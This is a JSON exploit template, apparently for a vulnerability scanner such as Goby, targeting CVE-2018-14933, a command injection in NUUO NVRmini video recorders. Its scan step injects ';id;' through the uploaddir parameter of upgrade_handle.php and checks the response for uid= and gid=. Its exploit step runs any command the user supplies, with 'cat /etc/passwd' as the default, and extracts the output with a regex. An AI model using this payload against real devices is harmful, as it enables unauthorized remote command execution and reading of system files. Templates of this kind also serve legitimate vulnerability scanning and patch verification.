{
  "Name": "NVRmini RCE (CVE-2018-14933)",
  "Description": "upgrade_handle.php on NUUO NVRmini devices allows Remote Command Execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command.",
  "Product": "NVRmini",
  "Homepage": "https://www.nuuo.com/ProductNode.php?node=2",
  "DisclosureDate": "2021-06-01",
  "Author": "Coco413",
  "GobyQuery": "app=\"NUUO-NVRmini\"",
  "Level": "3",
  "Impact": "<p>Attacker can exploit this vulnerability by injecting operating system commands.<br><br></p>",
  "Recommendation": "<p><span style=\"color: rgb(22, 51, 102); font-size: 16px;\">At present, the manufacturer has released a repair patch to solve this security problem. It is recommended that users of this software upgrade to the latest version.</span><br></p>",
  "References": [
    "https://www.exploit-db.com/exploits/46340"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "cat%20/etc/passwd"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;id;%27",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "uid=",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "gid=",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;{{{cmd}}};%27",
        "follow_redirect": true,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "SetVariable": [
        "output|lastbody|regex|(?s)upload_tmp_dir.*?\\n(.*?)\\n<br />"
      ]
    }
  ],
  "Tags": [
    "RCE"
  ],
  "CVEIDs": ["CVE-2018-14933"],
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}